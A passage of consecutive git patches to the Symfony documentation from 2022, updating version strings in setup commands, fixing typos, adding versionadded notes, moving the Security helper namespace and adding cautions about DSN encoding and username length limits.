+    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_directory
+    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies
@@ -273,14 +273,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=5.4
+    $ symfony new my_project_directory --version=5.4.*
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^5.4" my_project_directory
+    $ composer create-project symfony/skeleton:"5.4.*" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From 964910cc8c94c3a16e991d5711d963077b429597 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 1 Jun 2022 14:13:26 +0200
Subject: [PATCH 1928/5766] Dminor

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index da5f169d4b0..6effd29926a 100644
--- a/setup.rst
+++ b/setup.rst
@@ -273,14 +273,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=6.0.*
+    $ symfony new my_project_directory --version=5.4.*
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"5.4.*" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From aaf1fb238c1781f725609328fecb1e4b33973d58 Mon Sep 17 00:00:00 2001
From: Angelo <angelomelonas@gmail.com>
Date: Tue, 31 May 2022 22:31:20 +0200
Subject: [PATCH 1929/5766] Fixed a small typo in messenger.rst

---
 messenger.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index b1b2fe7e464..619f24f6b86 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1621,11 +1621,7 @@ The transport has a number of options:
 Amazon SQS
 ~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The Amazon SQS transport was introduced in Symfony 5.1.
-
-The Amazon SQS transport is perfect for application hosted on AWS. Install it by
+The Amazon SQS transport is perfect for applications hosted on AWS. Install it by
 running:
 
 .. code-block:: terminal

From bb6487b16529636cb950abbecba3f86e6936949d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 1 Jun 2022 14:20:46 +0200
Subject: [PATCH 1930/5766] Fix: Readd versionadded directive

---
 messenger.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 619f24f6b86..65941a449f5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1621,6 +1621,10 @@ The transport has a number of options:
 Amazon SQS
 ~~~~~~~~~~
 
+.. versionadded:: 5.1
+
+     The Amazon SQS transport was introduced in Symfony 5.1.
+
 The Amazon SQS transport is perfect for applications hosted on AWS. Install it by
 running:
 

From 1582a0e4bf6d97d82613e6c3d46ec460e47492d9 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Wed, 1 Jun 2022 08:15:58 +0430
Subject: [PATCH 1931/5766] Update setup.rst (version 6.1)

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 9d52656900c..4e9eb44caa8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -273,14 +273,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version=6.0
+    $ symfony new my_project_directory --version=5.4.*
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"^6.0" my_project_directory
+    $ composer create-project symfony/skeleton:"5.4.*" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From b7438ffab845a2bccbaa021b4d9ed6a7ae19823b Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Tue, 31 May 2022 11:10:32 +0430
Subject: [PATCH 1932/5766] Update setup.rst ( version 6.2 )

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 6effd29926a..e627e06edd8 100644
--- a/setup.rst
+++ b/setup.rst
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.2.*@dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.2.*@dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From be6e9d45b4f42592d14553d60a26aa9bab392c3b Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 2 Jun 2022 16:03:07 +0200
Subject: [PATCH 1933/5766] Fix: Use correct SF version

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 6effd29926a..e8b0a894a0f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -64,12 +64,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.1.*" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.0.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.1.*" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 03e8588af7b94c8b8727386d051a72384ef27a0d Mon Sep 17 00:00:00 2001
From: Yoann Brieux <y.brieux@motoblouz.com>
Date: Fri, 3 Jun 2022 10:53:27 +0200
Subject: [PATCH 1934/5766] Fix second twig path reference to be consistent
 with the first reference on security documentation

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index ba1e521711b..5d55d357cd3 100644
--- a/security.rst
+++ b/security.rst
@@ -939,7 +939,7 @@ be ``authenticate``:
 
 .. code-block:: html+twig
 
-    {# templates/security/login.html.twig #}
+    {# templates/login/index.html.twig #}
 
     {# ... #}
     <form action="{{ path('login') }}" method="post">

From f126ce146bd7c3fa7f424096ce97db80148af7a9 Mon Sep 17 00:00:00 2001
From: Issam KHADIRI <khadiri.issam@gmail.com>
Date: Sat, 4 Jun 2022 13:36:34 +0200
Subject: [PATCH 1935/5766] Update serializer.rst

Hello

The `$encoderIgnoredNodeTypes` does not exist in the XmlEncoder's constructor and the $defaultContext argument should be used instead, So To escape the comments while encoding, we can either pass the `\XML_COMMENT_NODE` to the  `XmlEncoder::ENCODER_IGNORED_NODE_TYPES` context option in the constructor  or use it when calling the encode() method.
---
 components/serializer.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 27d503e49ed..3a63fffe024 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1108,8 +1108,10 @@ always as a collection.
     behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
 
     Data with ``#comment`` keys are encoded to XML comments by default. This can be
-    changed with the optional ``$encoderIgnoredNodeTypes`` argument of the
-    ``XmlEncoder`` class constructor.
+    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES`` key of the ``$defaultContext``  of the
+    ``XmlEncoder`` class constructor or directly to the encode() method's $context argument.
+    
+        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
 
 The ``XmlEncoder`` Context Options
 ..................................

From ac2b9940c2267c337fbe6a740d63c985f66afc80 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Jun 2022 09:28:38 +0200
Subject: [PATCH 1936/5766] Add the versionadded directive

---
 controller/argument_value_resolver.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 6d590fb4df7..5ffa9ada86b 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -94,6 +94,10 @@ Symfony ships with the following value resolvers in the
     You can restrict how the input can be formatted with the
     :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime` attribute.
 
+    .. versionadded:: 6.1
+
+        The ``DateTimeValueResolver`` was introduced in Symfony 6.1.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver`
     Injects the current ``Request`` if type-hinted with ``Request`` or a class
     extending ``Request``.

From c7369d57a436c8984ec945e65f563e2310f59f6d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Jun 2022 10:06:13 +0200
Subject: [PATCH 1937/5766] [Security][SecurityBundle] Move the Security helper
 to SecurityBundle

---
 controller/argument_value_resolver.rst |  2 +-
 form/dynamic_form_modification.rst     |  4 ++--
 security.rst                           | 12 +++++++++---
 security/impersonating_user.rst        |  4 ++--
 security/voters.rst                    |  2 +-
 session/proxy_examples.rst             |  2 +-
 6 files changed, 16 insertions(+), 10 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 5ffa9ada86b..4b6b14ad7b2 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -220,10 +220,10 @@ retrieved from the token storage::
     namespace App\ArgumentResolver;
 
     use App\Entity\User;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpKernel\Controller\ArgumentValueResolverInterface;
     use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata;
-    use Symfony\Component\Security\Core\Security;
 
     class UserValueResolver implements ArgumentValueResolverInterface
     {
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 0af5266e9a4..fcf995b50e9 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -233,7 +233,7 @@ The problem is now to get the current user and create a choice field that
 contains only this user's friends. This can be done injecting the ``Security``
 service into the form type so you can get the current user object::
 
-    use Symfony\Component\Security\Core\Security;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     // ...
 
     class FriendMessageFormType extends AbstractType
@@ -260,9 +260,9 @@ security helper to fill in the listener logic::
     use App\Entity\User;
     use Doctrine\ORM\EntityRepository;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\Form\Extension\Core\Type\TextareaType;
     use Symfony\Component\Form\Extension\Core\Type\TextType;
-    use Symfony\Component\Security\Core\Security;
     // ...
 
     class FriendMessageFormType extends AbstractType
diff --git a/security.rst b/security.rst
index dac009b6c66..22aea950fe2 100644
--- a/security.rst
+++ b/security.rst
@@ -1775,12 +1775,12 @@ Fetching the User from a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 If you need to get the logged in user from a service, use the
-:class:`Symfony\\Component\\Security\\Core\\Security` service::
+:class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` service::
 
     // src/Service/ExampleService.php
     // ...
 
-    use Symfony\Component\Security\Core\Security;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
 
     class ExampleService
     {
@@ -1802,6 +1802,12 @@ If you need to get the logged in user from a service, use the
         }
     }
 
+.. versionadded:: 6.2
+
+    The :class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` class
+    was introduced in Symfony 6.2. In previous Symfony versions this class was
+    defined in ``Symfony\Component\Security\Core\Security``.
+
 Fetch the User in a Template
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -2235,7 +2241,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
       // ...
       use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-    + use Symfony\Component\Security\Core\Security;
+    + use Symfony\Bundle\SecurityBundle\Security\Security;
 
       class SalesReportManager
       {
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index df07bbe4af8..3219802edb7 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -160,8 +160,8 @@ the impersonator user::
     // src/Service/SomeService.php
     namespace App\Service;
 
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\Security\Core\Authentication\Token\SwitchUserToken;
-    use Symfony\Component\Security\Core\Security;
     // ...
 
     class SomeService
@@ -306,9 +306,9 @@ logic you want::
     // src/Security/Voter/SwitchToCustomerVoter.php
     namespace App\Security\Voter;
 
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
     use Symfony\Component\Security\Core\Authorization\Voter\Voter;
-    use Symfony\Component\Security\Core\Security;
     use Symfony\Component\Security\Core\User\UserInterface;
 
     class SwitchToCustomerVoter extends Voter
diff --git a/security/voters.rst b/security/voters.rst
index 600fee884dd..7541d4149a1 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -229,7 +229,7 @@ with ``ROLE_SUPER_ADMIN``::
     // src/Security/PostVoter.php
 
     // ...
-    use Symfony\Component\Security\Core\Security;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
 
     class PostVoter extends Voter
     {
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
index 67d46adb27b..a9114216ea8 100644
--- a/session/proxy_examples.rst
+++ b/session/proxy_examples.rst
@@ -110,8 +110,8 @@ can intercept the session before it is written::
     namespace App\Session;
 
     use App\Entity\User;
+    use Symfony\Bundle\SecurityBundle\Security\Security;
     use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
-    use Symfony\Component\Security\Core\Security;
 
     class ReadOnlySessionProxy extends SessionHandlerProxy
     {

From 509b734531bba29f70fc1f956a0f5e31c81876e5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Jun 2022 16:59:07 +0200
Subject: [PATCH 1938/5766] [Frontend] Remove an unused reference

---
 frontend/encore/dev-server.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index c017a35fcc2..6337a881471 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -123,4 +123,3 @@ your page. HMR works automatically with CSS (as long as you're using the
     CSS. That is no longer needed.
 
 .. _`webpack-dev-server`: https://webpack.js.org/configuration/dev-server/
-.. _`4.0 CHANGELOG`: https://github.com/webpack/webpack-dev-server/blob/master/CHANGELOG.md#400-beta0-2020-11-27

From 3d1b6674efb04f6c3de7051e1c4d0eff99ba0e80 Mon Sep 17 00:00:00 2001
From: gitomato <gitomatodev@gmail.com>
Date: Tue, 7 Jun 2022 17:34:48 +0200
Subject: [PATCH 1939/5766] Fix development testing examples

---
 controller/error_pages.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 2eec5213956..320c1aaae62 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -170,7 +170,7 @@ automatically when installing ``symfony/framework-bundle``):
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <when env="prod">
+            <when env="dev">
                 <import resource="@FrameworkBundle/Resources/config/routing/errors.xml" prefix="/_error"/>
             </when>
         </routes>
@@ -181,7 +181,7 @@ automatically when installing ``symfony/framework-bundle``):
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            if ('dev' === $container->env()) {
+            if ('dev' === $routes->env()) {
                 $routes->import('@FrameworkBundle/Resources/config/routing/errors.xml')
                     ->prefix('/_error')
                 ;

From 83eeb92a9e1cc6630c9f147b22dc55237c7de063 Mon Sep 17 00:00:00 2001
From: Robert Fischer <info@sandoba.com>
Date: Mon, 6 Jun 2022 17:53:01 +0200
Subject: [PATCH 1940/5766] [HtmlSanitizer] Fix a few typos in the introduction

---
 html_sanitizer.rst | 6 +++---
 security.rst       | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 55d80d65d90..429e4feef5e 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -5,15 +5,15 @@ HTML Sanitizer
 
     The HTML Sanitizer component was introduced in Symfony 6.1.
 
-The HTML Sanitizer components aims at sanitizing/cleaning untrusted HTML
+The HTML Sanitizer component aims at sanitizing/cleaning untrusted HTML
 code (e.g. created by a WYSIWYG editor in the browser) into HTML that can
 be trusted. It is based on the `HTML Sanitizer W3C Standard Proposal`_.
 
 The HTML sanitizer creates a new HTML structure from scratch, taking only
 the elements and attributes that are allowed by configuration. This means
-that the returned HTML is very predicatable (it only contains allowed
+that the returned HTML is very predictable (it only contains allowed
 elements), but it does not work well with badly formatted input (e.g.
-invalid HTML). The sanitizer is targetted for two use-cases:
+invalid HTML). The sanitizer is targeted for two use cases:
 
 * Preventing security attacks based on XSS or other technologies relying on
   execution of malicious code on the visitors browsers;
diff --git a/security.rst b/security.rst
index dac009b6c66..c81d7488aad 100644
--- a/security.rst
+++ b/security.rst
@@ -911,7 +911,7 @@ be ``authenticate``:
 
 .. code-block:: html+twig
 
-    {# templates/security/login.html.twig #}
+    {# templates/login/index.html.twig #}
 
     {# ... #}
     <form action="{{ path('login') }}" method="post">

From 44ae4a202cf4a985677a9f63b4b764e5ada57229 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jun 2022 16:35:32 +0200
Subject: [PATCH 1941/5766] [PhpUnitBridge] Mention the SetUpTearDownTrait
 deprecation

---
 components/phpunit_bridge.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 714157d1531..a6722b417f3 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -506,6 +506,10 @@ call to the ``doSetUp()``, ``doTearDown()``, ``doSetUpBeforeClass()`` and
         }
     }
 
+.. deprecated:: 5.3
+
+    The ``SetUpTearDownTrait`` was deprecated in Symfony 5.3.
+
 Using Namespaced PHPUnit Classes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From b2322418cc35750f59e51f9aea5a1caadf53bed5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jun 2022 17:55:21 +0200
Subject: [PATCH 1942/5766] Remove the deprecated SetUpTearDownTrait feature

---
 components/phpunit_bridge.rst | 30 ------------------------------
 1 file changed, 30 deletions(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 589ec0f442b..0e501893e8c 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -458,36 +458,6 @@ PHPUnit to remove the return type (introduced in PHPUnit 8) from ``setUp()``,
 ``tearDown()``, ``setUpBeforeClass()`` and ``tearDownAfterClass()`` methods.
 This allows you to write a test compatible with both PHP 5 and PHPUnit 8.
 
-Alternatively, you can use the trait :class:`Symfony\\Bridge\\PhpUnit\\SetUpTearDownTrait`,
-which provides the right signature for the ``setUp()``, ``tearDown()``,
-``setUpBeforeClass()`` and ``tearDownAfterClass()`` methods and delegates the
-call to the ``doSetUp()``, ``doTearDown()``, ``doSetUpBeforeClass()`` and
-``doTearDownAfterClass()`` methods::
-
-    use PHPUnit\Framework\TestCase;
-    use Symfony\Bridge\PhpUnit\SetUpTearDownTrait;
-
-    class MyTest extends TestCase
-    {
-        // when using the SetUpTearDownTrait, methods like doSetUp() can
-        // be defined with and without the 'void' return type, as you wish
-        use SetUpTearDownTrait;
-
-        private function doSetUp()
-        {
-            // ...
-        }
-
-        protected function doSetUp(): void
-        {
-            // ...
-        }
-    }
-
-.. deprecated:: 5.3
-
-    The ``SetUpTearDownTrait`` was deprecated in Symfony 5.3.
-
 Using Namespaced PHPUnit Classes
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f7075dc317ae67979a0033217feb1e88e1f935a1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 9 Jun 2022 23:47:31 +0200
Subject: [PATCH 1943/5766] [Form][NumberType] Fix constants

---
 reference/forms/types/options/rounding_mode.rst.inc | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 53403056585..b043dd727c1 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -2,13 +2,13 @@ rounding_mode
 ~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``\NumberFormatter::ROUND_DOWN`` for ``IntegerType``
-and ``\NumberFormatter::ROUND_HALF_UP`` for ``MoneyType`` and ``NumberType``
+and ``\NumberFormatter::ROUND_HALFUP`` for ``MoneyType`` and ``NumberType``
 
 * IntegerType
 **default**: ``\NumberFormatter::ROUND_DOWN``
 
 * MoneyType and NumberType
-**default**: ``\NumberFormatter::ROUND_HALF_UP``
+**default**: ``\NumberFormatter::ROUND_HALFUP``
 
 
 If a submitted number needs to be rounded (based on the `scale`_ option), you

From fbd9f3958e7254ddb9bcd6195b3c4f3176d32aac Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 10 Jun 2022 11:51:45 +0200
Subject: [PATCH 1944/5766] add caution to URL-encode special characters in
 Notifier DSNs

---
 notifier.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 79b4480a096..9adcb3cead2 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -51,6 +51,13 @@ The notifier component supports the following channels:
 SMS Channel
 ~~~~~~~~~~~
 
+.. caution::
+
+    If any of the DSN values contains any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 The SMS channel uses :class:`Symfony\\Component\\Notifier\\Texter` classes
 to send SMS messages to mobile phones. This feature requires subscribing to
 a third-party service that sends SMS messages. Symfony provides integration
@@ -168,6 +175,13 @@ configure the ``texter_transports``:
 Chat Channel
 ~~~~~~~~~~~~
 
+.. caution::
+
+    If any of the DSN values contains any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
@@ -328,6 +342,13 @@ notification emails:
 Push Channel
 ~~~~~~~~~~~~
 
+.. caution::
+
+    If any of the DSN values contains any character considered special in a
+    URI (such as ``+``, ``@``, ``$``, ``#``, ``/``, ``:``, ``*``, ``!``), you must
+    encode them. See `RFC 3986`_ for the full list of reserved characters or use the
+    :phpfunction:`urlencode` function to encode them.
+
 The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
@@ -739,3 +760,5 @@ Learn more
     :glob:
 
     notifier/*
+
+.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt

From 32ff705e277f11bb892ec4544418b8a7e6d630ab Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Sun, 29 May 2022 11:53:38 -0400
Subject: [PATCH 1945/5766] Add assets to the documentation

---
 bundles.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/bundles.rst b/bundles.rst
index 81c21260032..cd4813cfe11 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -98,6 +98,9 @@ to be adjusted if needed:
 ``src/``
     Contains all PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
 
+``assets/``
+    Contains javascript, css, images and other assets related to the bundle that are not in ``/public`` (e.g. stimulus controllers)
+    
 ``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
 

From e787633ff1c4e2b34cbfe263fbf4307e970690a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Jun 2022 13:28:41 +0200
Subject: [PATCH 1946/5766] Minor tweaks

---
 bundles.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index cd4813cfe11..904f2d3f497 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -97,9 +97,6 @@ to be adjusted if needed:
 
 ``src/``
     Contains all PHP classes related to the bundle logic (e.g. ``Controller/RandomController.php``).
-
-``assets/``
-    Contains javascript, css, images and other assets related to the bundle that are not in ``/public`` (e.g. stimulus controllers)
     
 ``config/``
     Houses configuration, including routing configuration (e.g. ``routing.yaml``).
@@ -115,6 +112,10 @@ to be adjusted if needed:
     linked into the project ``public/`` directory via the ``assets:install`` console
     command.
 
+``assets/``
+    Contains JavaScript, CSS, images and other assets related to the bundle that
+    are not in ``public/`` (e.g. stimulus controllers)
+
 ``tests/``
     Holds all tests for the bundle.
 

From 38573bb2367e982f9a2f4c5cb623da705bf0020e Mon Sep 17 00:00:00 2001
From: mgasmi <mohamed.gasmi.info@gmail.com>
Date: Tue, 31 May 2022 20:34:04 +0200
Subject: [PATCH 1947/5766] [Validator] Update validation.rst

---
 validation.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/validation.rst b/validation.rst
index f48ab95d10c..5fdc5544b59 100644
--- a/validation.rst
+++ b/validation.rst
@@ -453,8 +453,8 @@ of the form fields::
 Constraint Targets
 ------------------
 
-Constraints can be applied to a class property (e.g. ``name``), a public
-getter method (e.g. ``getFullName()``) or an entire class. Property constraints
+Constraints can be applied to a class property (e.g. ``name``),
+a getter method (e.g. ``getFullName()``) or an entire class. Property constraints
 are the most common and easy to use. Getter constraints allow you to specify
 more complex validation rules. Finally, class constraints are intended
 for scenarios where you want to validate a class as a whole.
@@ -555,7 +555,7 @@ Getters
 ~~~~~~~
 
 Constraints can also be applied to the return value of a method. Symfony
-allows you to add a constraint to any public method whose name starts with
+allows you to add a constraint to any private, protected or public method whose name starts with
 "get", "is" or "has". In this guide, these types of methods are referred to
 as "getters".
 

From 0e14ecf7db4e592c7d1569dcca55beb8797d2f29 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Jun 2022 16:11:20 +0200
Subject: [PATCH 1948/5766] [Security] Enforce maximum username length

---
 security/custom_authenticator.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4178e254904..7d0ea155df3 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -205,6 +205,11 @@ using :ref:`the user provider <security-user-providers>`::
     // ...
     $passport = new Passport(new UserBadge($email), $credentials);
 
+.. note::
+
+    The maximum length allowed for the user identifier is 4096 characters to
+    prevent `session storage flooding`_ attacks.
+
 .. note::
 
     You can optionally pass a user loader as second argument to the
@@ -373,3 +378,5 @@ authenticator methods (e.g. ``createToken()``)::
             return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));
         }
     }
+
+.. _`session storage flooding`: https://symfony.com/blog/cve-2016-4423-large-username-storage-in-session

From e33e717e6755a598192ed8db8d392707ddc14206 Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Fri, 10 Jun 2022 13:53:10 +0200
Subject: [PATCH 1949/5766] [FrameworkBundle] Document the
 `framework.profiler.collect_serializer_data` option

---
 reference/configuration/framework.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 7dabd6887c9..b30b519079f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1277,6 +1277,17 @@ dsn
 
 The DSN where to store the profiling information.
 
+.. _collect_serializer_data:
+
+collect_serializer_data
+.......................
+
+**type**: ``boolean`` **default**: ``false``
+
+This option enables the serializer data collector and profiler panel. If set
+to ``true``, all normalizers and encoders are decorated by traceable implementations
+that are meant to collect profiling information about them.
+
 rate_limiter
 ~~~~~~~~~~~~
 

From e16e05ab02983f166296564b4cb2a9b9b1c33db2 Mon Sep 17 00:00:00 2001
